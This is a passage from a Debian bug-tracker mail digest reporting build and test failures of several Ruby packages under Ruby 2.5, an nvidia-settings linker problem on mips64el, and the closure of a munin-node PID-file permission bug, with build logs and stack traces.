`with_around_example_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:500:in 
`with_around_and_singleton_context_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:251:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:628:in `block 
in run_examples'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:624:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:624:in 
`run_examples'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:590:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `block 
in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `block 
in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `block 
in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:591:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `block (3 
levels) in run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `block (2 
levels) in run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/configuration.rb:1926:in 
`with_suite_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:113:in `block in 
run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/reporter.rb:79:in `report'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:112:in `run_specs'
 # 

Bug#892191: ruby-progressbar FTBFS with Ruby 2.5: Failure/Error: require 'mathn'

[Adrian Bunk]

Source: ruby-progressbar
Version: 1.4.2-1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-progressbar.html

...
┌──┐
│ Run tests for ruby2.5 from debian/ruby-tests.rake│
└──┘

RUBYLIB=/build/1st/ruby-progressbar-1.4.2/debian/ruby-progressbar/usr/lib/ruby/vendor_ruby:.
 
GEM_PATH=debian/ruby-progressbar/usr/share/rubygems-integration/all:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -S rake -f debian/ruby-tests.rake
/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*\*/\*_spec.rb

An error occurred while loading ./spec/lib/ruby-progressbar/base_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/base_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/components/bar_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/components/bar_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/components/elapsed_timer_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/components/elapsed_timer_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/components/estimated_timer_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/components/estimated_timer_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/components/progressable_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/components/progressable_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/components/throttle_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/components/throttle_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/format/molecule_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/format/molecule_spec.rb:1:in `'

An error occurred while loading 
./spec/lib/ruby-progressbar/running_average_calculator_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/running_average_calculator_spec.rb:1:in `'

An error occurred while loading ./spec/lib/ruby-progressbar/time_spec.rb.
Failure/Error: require 'mathn'

LoadError:
  cannot load such file -- mathn
# ./spec/spec_helper.rb:1:in `'
# ./spec/lib/ruby-progressbar/time_spec.rb:1:in `'
No examples found.


Finished in 0.00045 seconds (files took 0.54597 seconds to load)
0 examples, 0 failures, 9 errors occurred outside of examples

/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*\*/\*_spec.rb failed
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install 
/build/1st/ruby-progressbar-1.4.2/debian/ruby-progressbar returned exit code 1
make: *** [debian/rules:15: binary] Error 1

Bug#892189: ruby-mini-magick: FTBFS and Debci failure with imagemagick 8:6.9.9.34+dfsg-3

[Adrian Bunk]

Source: ruby-mini-magick
Version: 4.8.0-1
Severity: serious

https://ci.debian.net/packages/r/ruby-mini-magick/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-mini-magick.html

...

Failures:

  1) With ImageMagick MiniMagick::Image#data when the data return is an array 
(ex png) returns image JSON data
 Failure/Error: data = JSON.parse(json)

 JSON::ParserError:
   416: unexpected token at '{
 "image": {
   "name": "spec/fixtures/engine.png[0]",
   "format": "PNG",
   "formatDescription": "Portable Network Graphics",
   "mimeType": "image/png",
   "class": "DirectClass",
   "geometry": {
 "width": 300,
 "height": 225,
 "x": 0,
 "y": 0
   },
   "resolution": {
 "x": 72,
 "y": 72
   },
   "printSize": {
 "x": 4.16667,
 "y": 3.125
   },
   "units": "Undefined",
   "type": "TrueColorAlpha",
   "endianess": "Undefined",
   "colorspace": "sRGB",
   "depth": 8,
   "baseDepth": 8,
   "channelDepth": {
 "alpha": 1,
 "red": 8,
 "green": 8,
 "blue": 8
   },
   "pixels": 67500,
   "imageStatistics": {
 "all": {
   "min": 6,
   "max": 255,
   "mean": 143.743,
   "standardDeviation": 42.8404,
   "kurtosis": -1.54497,
   "skewness": 0.345865,
   "entropy": -nan
 }
   },
   "channelStatistics": {
 "alpha": {
   "min": 0,
   "max": 0,
   "mean": 0,
   "standardDeviation": 0,
   "kurtosis": 1.6384e+64,
   "skewness": 9.375e+44,
   "entropy": -nan
 },
 "red": {
   "min": 6,
   "max": 255,
   "mean": 106.28,
   "standardDeviation": 57.799,
   "kurtosis": 0.0805948,
   "skewness": 1.04772,
   "entropy": 0.933194
 },
 "green": {
   "min": 13,
   "max": 255,
   "mean": 104.804,
   "standardDeviation": 57.6727,
   "kurtosis": 0.217234,
   "skewness": 1.11467,
   "entropy": 0.932031
 },
 "blue": {
   "min": 13,
   "max": 255,
   "mean": 108.887,
   "standardDeviation": 55.8899,
   "kurtosis": 0.233094,
   "skewness": 1.0827,
   "entropy": 0.937992
 }
   },
   "renderingIntent": "Perceptual",
   "gamma": 0.45455,
   "chromaticity": {
 "redPrimary": {
   "x": 0.64,
   "y": 0.33
 },
 "greenPrimary": {
   "x": 0.3,
   "y": 0.6
 },
 "bluePrimary": {
   "x": 0.15,
   "y": 0.06
 },
 "whitePrimary": {
   "x": 0.3127,
   "y": 0.329
 }
   },
   "backgroundColor": "#",
   "borderColor": "#DFDFDFFF",
   "matteColor": "#BDBDBDFF",
   "transparentColor": "#",
   "interlace": "None",
   "intensity": "Undefined",
   "compose": "Over",
   "pageGeometry": {
 "width": 300,
 "height": 225,
 "x": 0,
 "y": 0
   },
   "dispose": "Undefined",
   "iterations": 0,
   "compression": "Zip",
   "orientation": "Undefined",
   "properties": {
 "comment": "File source: 
http://commons.wikimedia.org/wiki/File:Valve_original_(1).PNG",
 "date:create": "2019-04-07T12:21:15-12:00",
 "date:modify": "2017-07-05T21:50:52-12:00",
 "png:bKGD": "chunk was found (see Background color, above)",
 "png:cHRM": "chunk was found (see Chromaticity, above)",
 "png:gAMA": "gamma=0.45455 (See Gamma, above)",
 "png:IHDR.bit-depth-orig": "8",
 "png:IHDR.bit_depth": "8",
 "png:IHDR.color-type-orig": "6",
 "png:IHDR.color_type": "6 (RGBA)",
 "png:IHDR.interlace_method": "0 (Not interlaced)",
 "png:IHDR.width,height": "300, 225",
 "png:pHYs": "x_res=72, y_res=72, units=0",
 "png:sRGB": "intent=0 (Perceptual Intent)",
 "png:text": "11 tEXt/zTXt/iTXt chunks were found",
 "signature": 
"daa0f28510f957e9fe3a6b1f996050b8531977e2b4e2e5f06886d1a467731408",
 "software": "ImageMagick 6.6.2-6 2011-03-09 Q8 
http://www.imagemagick.org;,
 "Thumb::Document::Pages": "1",

Bug#892188: foodcritic: FTBFS and Debci failure with Ruby 2.5

[Adrian Bunk]

Source: foodcritic
Version: 8.1.0-1
Severity: serious
Tags: buster sid

https://ci.debian.net/packages/f/foodcritic/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/foodcritic.html

...
┌──┐
│ Run tests for ruby2.5 from debian/ruby-tests.rake│
└──┘

RUBYLIB=/build/1st/foodcritic-8.1.0/debian/foodcritic/usr/lib/ruby/vendor_ruby:.
 
GEM_PATH=debian/foodcritic/usr/share/rubygems-integration/all:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -S rake -f debian/ruby-tests.rake
warning: simplecov gem not found; skipping coverage
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1104: warning: 
mismatched indentations at 'end' with 'def' at 1102
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1221: warning: 
mismatched indentations at 'end' with 'def' at 1219
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1468: warning: 
mismatched indentations at 'end' with 'def' at 1466
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1500: warning: 
mismatched indentations at 'end' with 'def' at 1498
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1543: warning: 
mismatched indentations at 'end' with 'def' at 1541
/usr/lib/ruby/vendor_ruby/treetop/compiler/metagrammar.rb:1582: warning: 
mismatched indentations at 'end' with 'def' at 1580
/usr/lib/ruby/vendor_ruby/treetop/compiler/grammar_compiler.rb:37: warning: 
shadowing outer local variable - ext
/build/1st/foodcritic-8.1.0/lib/foodcritic/chef.rb:55: warning: shadowing outer 
local variable - version
/build/1st/foodcritic-8.1.0/lib/foodcritic/linter.rb:286: warning: shadowing 
outer local variable - m
/build/1st/foodcritic-8.1.0/lib/foodcritic/template.rb:41: warning: shadowing 
outer local variable - e
/usr/bin/ruby2.5 -I "lib" "/usr/bin/cucumber" -f progress --strict -t ~@build 
-t ~@context features
warning: simplecov gem not found; skipping coverage
.F..F..F..F.F...

(::) failed steps (::)

Expected "FC011: Missing README in markdown format: 
cookbooks/example/README.md:1\nFC031: Cookbook without metadata file: 
cookbooks/example/metadata.rb:1\nFC045: Metadata does not contain cookbook 
name: cookbooks/example/metadata.rb:1\n" to include "FC025: Prefer chef_gem to 
compile-time gem install: cookbooks/example/recipes/default.rb:". 
(Minitest::Assertion)

Bug#892186: chef: FTBFS and Debci failure with Ruby 2.5

[Adrian Bunk]

Source: chef
Version: 12.14.60-3
Severity: serious

https://ci.debian.net/packages/c/chef/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/chef.html

...
Failures:

  1) Chef::ChefFS::FileSystem::Repository::Directory creates directories 
creates a new directory
 Failure/Error: FileUtils.rmdir(tmp_dir)

 Errno::ENOENT:
   No such file or directory @ dir_s_rmdir - /tmp/d20190407-60523-2iujho
 # ./spec/unit/chef_fs/file_system/repository/directory_spec.rb:155:in 
`block (3 levels) in '

Finished in 9 minutes 19 seconds (files took 28.23 seconds to load)
11613 examples, 1 failure, 24 pending

Failed examples:

rspec ./spec/unit/chef_fs/file_system/repository/directory_spec.rb:148 # 
Chef::ChefFS::FileSystem::Repository::Directory creates directories creates a 
new directory

/usr/bin/ruby2.5 /usr/bin/rspec spec/functional/application_spec.rb 
spec/functional/audit/rspec_formatter_spec.rb 
spec/functional/dsl/reboot_pending_spec.rb 
spec/functional/dsl/registry_helper_spec.rb 
spec/functional/event_loggers/windows_eventlog_spec.rb 
spec/functional/file_content_management/deploy_strategies_spec.rb 
spec/functional/knife/configure_spec.rb spec/functional/knife/rehash_spec.rb 
spec/functional/mixin/powershell_out_spec.rb 
spec/functional/mixin/shell_out_spec.rb spec/functional/notifications_spec.rb 
spec/functional/provider/remote_file/cache_control_data_spec.rb 
spec/functional/provider/whyrun_safe_ruby_block_spec.rb 
spec/functional/rebooter_spec.rb spec/functional/resource/aix_service_spec.rb 
spec/functional/resource/aixinit_service_spec.rb 
spec/functional/resource/bash_spec.rb spec/functional/resource/batch_spec.rb 
spec/functional/resource/bff_spec.rb 
spec/functional/resource/chocolatey_package_spec.rb 
spec/functional/resource/cookbook_file_spec.rb 
spec/functional/resource/directory_spec.rb 
spec/functional/resource/dsc_resource_spec.rb 
spec/functional/resource/dsc_script_spec.rb 
spec/functional/resource/env_spec.rb spec/functional/resource/execute_spec.rb 
spec/functional/resource/file_spec.rb spec/functional/resource/ohai_spec.rb 
spec/functional/resource/powershell_script_spec.rb 
spec/functional/resource/reboot_spec.rb 
spec/functional/resource/registry_spec.rb spec/functional/resource/rpm_spec.rb 
spec/functional/resource/template_spec.rb 
spec/functional/resource/user/dscl_spec.rb 
spec/functional/resource/user/windows_spec.rb 
spec/functional/resource/windows_package_spec.rb 
spec/functional/resource/windows_service_spec.rb 
spec/functional/run_lock_spec.rb spec/functional/util/path_helper_spec.rb 
spec/functional/util/powershell/cmdlet_spec.rb spec/functional/version_spec.rb 
spec/functional/win32/crypto_spec.rb spec/functional/win32/registry_spec.rb 
spec/functional/win32/security_spec.rb 
spec/functional/win32/service_manager_spec.rb spec/functional/win32/sid_spec.rb 
spec/functional/win32/versions_spec.rb 
spec/integration/recipes/lwrp_inline_resources_spec.rb 
spec/integration/recipes/lwrp_spec.rb 
spec/integration/recipes/noop_resource_spec.rb 
spec/integration/recipes/notifies_spec.rb 
spec/integration/recipes/notifying_block_spec.rb 
spec/integration/recipes/recipe_dsl_spec.rb 
spec/integration/recipes/resource_action_spec.rb 
spec/integration/recipes/resource_converge_if_changed_spec.rb 
spec/integration/recipes/resource_load_spec.rb spec/stress/win32/file_spec.rb 
spec/stress/win32/memory_spec.rb spec/stress/win32/security_spec.rb 
spec/unit/api_client/registration_spec.rb spec/unit/api_client_spec.rb 
spec/unit/api_client_v1_spec.rb spec/unit/application/agent_spec.rb 
spec/unit/application/apply_spec.rb spec/unit/application/exit_code_spec.rb 
spec/unit/application/server_spec.rb spec/unit/application/solo_spec.rb 
spec/unit/audit/audit_event_proxy_spec.rb 
spec/unit/audit/audit_reporter_spec.rb 
spec/unit/audit/control_group_data_spec.rb spec/unit/audit/logger_spec.rb 
spec/unit/audit/rspec_formatter_spec.rb spec/unit/chef_class_spec.rb 
spec/unit/chef_fs/config_spec.rb 
spec/unit/chef_fs/data_handler/group_handler_spec.rb 
spec/unit/chef_fs/diff_spec.rb spec/unit/chef_fs/file_pattern_spec.rb 
spec/unit/chef_fs/file_system/cookbook_subdir_spec.rb 
spec/unit/chef_fs/file_system/operation_failed_error_spec.rb 
spec/unit/chef_fs/file_system/repository/base_file_spec.rb 
spec/unit/chef_fs/file_system/repository/directory_spec.rb 
spec/unit/chef_fs/file_system_spec.rb spec/unit/chef_fs/path_util_spec.rb 
spec/unit/chef_spec.rb spec/unit/config_fetcher_spec.rb 
spec/unit/config_spec.rb spec/unit/cookbook/chefignore_spec.rb 
spec/unit/cookbook/cookbook_version_loader_spec.rb 
spec/unit/cookbook/file_vendor_spec.rb spec/unit/cookbook/synchronizer_spec.rb 
spec/unit/cookbook/syntax_check_spec.rb spec/unit/cookbook_loader_spec.rb 
spec/unit/cookbook_manifest_spec.rb 
spec/unit/cookbook_site_streaming_uploader_spec.rb spec/unit/cookbook_spec.rb 
spec/unit/cookbook_uploader_spec.rb 
spec/unit/cookbook_version_file_specificity_spec.rb 

Bug#892185: reel: FTBFS and Debci failure with Ruby 2.5

[Adrian Bunk]

Source: reel
Version: 0.6.1-4
Severity: serious
Tags: buster sid

https://ci.debian.net/packages/r/reel/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/reel.html

...
Failures:

  1) Reel::Server::HTTPS verifies client SSL certs when provided with a CA
 Failure/Error: response = http.request(request)

 OpenSSL::SSL::SSLError:
   SSL_connect returned=1 errno=0 state=SSLv3/TLS write finished: sslv3 
alert unsupported certificate
 # /usr/lib/ruby/2.5.0/net/protocol.rb:44:in `connect_nonblock'
 # /usr/lib/ruby/2.5.0/net/protocol.rb:44:in `ssl_socket_connect'
 # /usr/lib/ruby/2.5.0/net/http.rb:981:in `connect'
 # /usr/lib/ruby/2.5.0/net/http.rb:920:in `do_start'
 # /usr/lib/ruby/2.5.0/net/http.rb:909:in `start'
 # /usr/lib/ruby/2.5.0/net/http.rb:1455:in `request'
 # ./spec/reel/https_server_spec.rb:70:in `block (3 levels) in '
 # ./spec/reel/https_server_spec.rb:115:in `with_reel_https_server'
 # ./spec/reel/https_server_spec.rb:62:in `block (2 levels) in '
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:254:in `instance_exec'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:254:in `block in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:500:in `block in 
with_around_and_singleton_context_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:457:in `block in 
with_around_example_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:466:in `block in run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:604:in 
`run_around_example_hooks_for'
 # /usr/lib/ruby/vendor_ruby/rspec/core/hooks.rb:466:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:457:in 
`with_around_example_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:500:in 
`with_around_and_singleton_context_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example.rb:251:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:628:in `block in 
run_examples'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:624:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:624:in 
`run_examples'
 # /usr/lib/ruby/vendor_ruby/rspec/core/example_group.rb:590:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `block (3 levels) 
in run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `map'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:118:in `block (2 levels) 
in run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/configuration.rb:1926:in 
`with_suite_hooks'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:113:in `block in 
run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/reporter.rb:79:in `report'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:112:in `run_specs'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:87:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:71:in `run'
 # /usr/lib/ruby/vendor_ruby/rspec/core/runner.rb:45:in `invoke'
 # /usr/bin/rspec:4:in `'

Finished in 8.23 seconds (files took 29.35 seconds to load)
48 examples, 1 failure, 2 pending

Failed examples:

rspec ./spec/reel/https_server_spec.rb:47 # Reel::Server::HTTPS verifies client 
SSL certs when provided with a CA

Randomized with seed 2373

/usr/bin/ruby2.5 /usr/bin/rspec --pattern ./spec/\*\*/\*_spec.rb --format 
documentation failed
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install /build/1st/reel-0.6.1/debian/reel returned 
exit code 1
make: *** [debian/rules:18: binary] Error 1



This might be related to Ruby 2.3 using OpenSSL 1.0.2 and Ruby 2.5 using 
OpenSSL 1.1.

Bug#889073: marked as done (Permission denied on /run/munin/munin-node.pid)

[Debian Bug Tracking System]

Your message dated Tue, 6 Mar 2018 14:22:25 +
with message-id <20180306142225.qhdzghhxlvz4g...@layer-acht.org>
and subject line Re: [Packaging] Bug#889073: Permission denied on 
/run/munin/munin-node.pid
has caused the Debian Bug report #889073,
regarding Permission denied on /run/munin/munin-node.pid
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
889073: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889073
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: munin-node
Version: 2.0.34-3
Severity: grave

Hello,

on a fresh installed buster I get the message

[quote]
Initializing plugins..done.
Restarting munin-node..Created symlink /etc/systemd/system/multi-
user.target.wants/munin-node.service → /lib/systemd/system/munin-node.service.

Job for munin-node.service failed because a timeout was exceeded.
See "systemctl status munin-node.service" and "journalctl -xe" for details.
invoke-rc.d: initscript munin-node, action "start" failed.
● munin-node.service - Munin Node
   Loaded: loaded (/lib/systemd/system/munin-node.service; enabled; vendor
preset: enabled)
   Active: activating (auto-restart) (Result: timeout) since Thu 2018-02-01
18:59:58 CET; 11ms ago
 Docs: man:munin-node(1)
   http://munin.readthedocs.org/en/stable-2.0/reference/munin-node.html
  Process: 4460 ExecStart=/usr/sbin/munin-node $DAEMON_ARGS (code=exited,
status=0/SUCCESS)
dpkg: Fehler beim Bearbeiten des Paketes munin-node (--configure):
 installed munin-node package post-installation script subprocess returned
error exit status 1
Trigger für systemd (237-1) werden verarbeitet ...
Fehler traten auf beim Bearbeiten von:
 munin-node
E: Sub-process /usr/bin/dpkg returned an error code (1)
[/quote]

Journalctl give this output:
[quote]
$ journalctl -xe
Hint: You are currently not seeing messages from other users and the system.
  Users in the 'systemd-journal' group can see all messages. Pass -q to
  turn off this notice.
No journal files were opened due to insufficient permissions.
jff@merkur:/data/entwicklung/linux/debian$ sudo journalctl -xe
Feb 01 18:58:21 merkur chfn[3897]: changed user 'munin' information
Feb 01 18:58:21 merkur systemd[1]: Reloading.
Feb 01 18:58:25 merkur kernel: ip6_tables: (C) 2000-2006 Netfilter Core Team
Feb 01 18:58:27 merkur systemd[1]: Reloading.
Feb 01 18:58:27 merkur systemd[1]: Reloading.
Feb 01 18:58:28 merkur systemd[1]: Reloading.
Feb 01 18:58:28 merkur systemd[1]: Starting Munin Node...
-- Subject: Unit munin-node.service has begun start-up
-- Defined-By: systemd
-- Support: https://www.debian.org/support
--
-- Unit munin-node.service has begun starting up.
Feb 01 18:58:28 merkur systemd[1]: munin-node.service: Permission denied while
opening PID file or unsafe symlink chain: /run/munin/munin-node.pid
Feb 01 18:59:58 merkur systemd[1]: munin-node.service: Start operation timed
out. Terminating.
Feb 01 18:59:58 merkur systemd[1]: munin-node.service: Failed with result
'timeout'.
Feb 01 18:59:58 merkur systemd[1]: Failed to start Munin Node.
-- Subject: Unit munin-node.service has failed
[/quote]

Output of ls -l /run
[quote]
$ ls -l /run
insgesamt 32
[...]
drwxr-xr-x  2 rootroot  60 Feb  1 18:37 mount
drwxr-xr-x  2 munin   root  60 Feb  1 19:15 munin
drwxr-xr-x  2 rootroot 100 Feb  1 18:37 network
[...]
[/quote]


CU
Jörg



-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (300, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/6 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages munin-node depends on:
ii  gawk1:4.1.4+dfsg-1+b1
ii  libnet-server-perl  2.008-4
ii  lsb-base9.20170808
ii  munin-common2.0.34-3
ii  munin-plugins-core  2.0.34-3
ii  perl5.26.1-4
ii  procps  2:3.3.12-3

Versions of packages munin-node recommends:
ii  libnet-snmp-perl 6.0.1-3
ii  munin-plugins-extra  2.0.34-3

Versions of packages munin-node suggests:
pn  default-mysql-client  
pn  ethtool   
ii  hdparm9.53+ds-1
pn  libcrypt-ssleay-perl  
pn  libdbd-pg-perl
pn  liblwp-useragent-determined-perl  
pn  libnet-irc-perl   
pn  libtext-csv-xs-perl   
ii  libwww-perl  

Bug#892184: nvidia-settings: FTBFS on mips64el, ia64, m68k - /usr/bin/ld: failed to merge target specific data

[James Cowgill]

Source: nvidia-settings
Version: 387.34-1
Severity: serious
Tags: sid buster

Hi,

nvidia-settings FTBFS on the above architectures with this error (taken
from mips64el here):
> /usr/bin/ld: _out/debian/antialias.png.o: warning: linking abicalls files 
> with non-abicalls files
> /usr/bin/ld: _out/debian/antialias.png.o: linking 32-bit code with 64-bit code
> /usr/bin/ld: failed to merge target specific data of file 
> _out/debian/antialias.png.o
> /usr/bin/ld: _out/debian/background.png.o: warning: linking abicalls files 
> with non-abicalls files
> /usr/bin/ld: _out/debian/background.png.o: linking 32-bit code with 64-bit 
> code
> /usr/bin/ld: failed to merge target specific data of file 
> _out/debian/background.png.o
[...]
> collect2: error: ld returned 1 exit status

This is caused by trying to generate objects using "ld --format=binary"
which is not portable. In the case of mips64el, that command generates
objects without certain flags set which causes the link errors. These
flags are usually set by gcc.

If you want to do this portably, you have to go through the C compiler.
Using xxd -i is a common method.

Thanks,
James



signature.asc
Description: OpenPGP digital signature

Bug#892183: ruby-rbpdf: FTBFS and Debci failure with Ruby 2.5

[Adrian Bunk]

Source: ruby-rbpdf
Version: 1.19.0-1
Severity: serious
Tags: buster sid

https://ci.debian.net/packages/r/ruby-rbpdf/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-rbpdf.html

...
===
Failure: test: Basic Page content test(RbpdfPageTest)
/build/1st/ruby-rbpdf-1.19.0/test/rbpdf_content_test.rb:81:in `block in 
'
 78: assert_equal content.length,  8
 79: assert_equal content[6],  "0.57 w 0 J 0 j [] 0 d 0 G 0 g"
 80: 
  => 81: assert_equal content[7],  "BT 31.19 792.37 Td 0 Tr 0.00 w 
[(\x00C\x00h\x00a\x00p\x00t\x00e\x00r)] TJ ET"
 82: 
 83: #
 84: # 0.57 w 0 J 0 j [] 0 d 0 G 0 g # getCellCode
<"BT 31.18 792.37 Td 0 Tr 0.00 w [(\x00C\x00h\x00a\x00p\x00t\x00e\x00r)] TJ 
ET"> expected but was
<"BT 31.19 792.37 Td 0 Tr 0.00 w [(\x00C\x00h\x00a\x00p\x00t\x00e\x00r)] TJ ET">

diff:
? BT 31.18 792.37 Td 0 Tr 0.00 w [(�C�h�a�p�t�e�r)] TJ ET
?9   
===
...
--
173 tests, 1362 assertions, 7 failures, 0 errors, 0 pendings, 0 omissions, 0 
notifications
95.9538% passed
--
2.61 tests/s, 20.56 assertions/s
rake aborted!
Command failed with status (1): [ruby -w -I"test"  
"/usr/lib/ruby/vendor_ruby/rake/rake_test_loader.rb" "test/rbpdf_bidi_test.rb" 
"test/rbpdf_bookmark_test.rb" "test/rbpdf_cell_test.rb" 
"test/rbpdf_content_test.rb" "test/rbpdf_css_test.rb" "test/rbpdf_dom_test.rb" 
"test/rbpdf_font_func_test.rb" "test/rbpdf_font_style_test.rb" 
"test/rbpdf_font_test.rb" "test/rbpdf_format_test.rb" "test/rbpdf_func_test.rb" 
"test/rbpdf_html_anchor_test.rb" "test/rbpdf_html_func_test.rb" 
"test/rbpdf_html_test.rb" "test/rbpdf_htmlcell_test.rb" 
"test/rbpdf_image_rmagick_test.rb" "test/rbpdf_image_test.rb" 
"test/rbpdf_test.rb" "test/rbpdf_transaction_test.rb" 
"test/rbpdf_viewerpreferences_test.rb" "test/rbpdf_write_test.rb" 
"test/test_helper.rb" -v]

Tasks: TOP => default
(See full trace by running task with --trace)
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install /build/1st/ruby-rbpdf-1.19.0/debian/tmp 
returned exit code 1
make[1]: *** [debian/rules:10: override_dh_auto_install] Error 1

Bug#892181: ruby-ncurses fails to load with Ruby 2.5

[Adrian Bunk]

Package: ruby-ncurses
Version: 1.4.9-1
Severity: serious
Control: affects -1 src:sup-mail

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/sup-mail.html

...
RUBYLIB=/build/1st/sup-mail-0.22.1/debian/sup-mail/usr/lib/ruby/vendor_ruby:. 
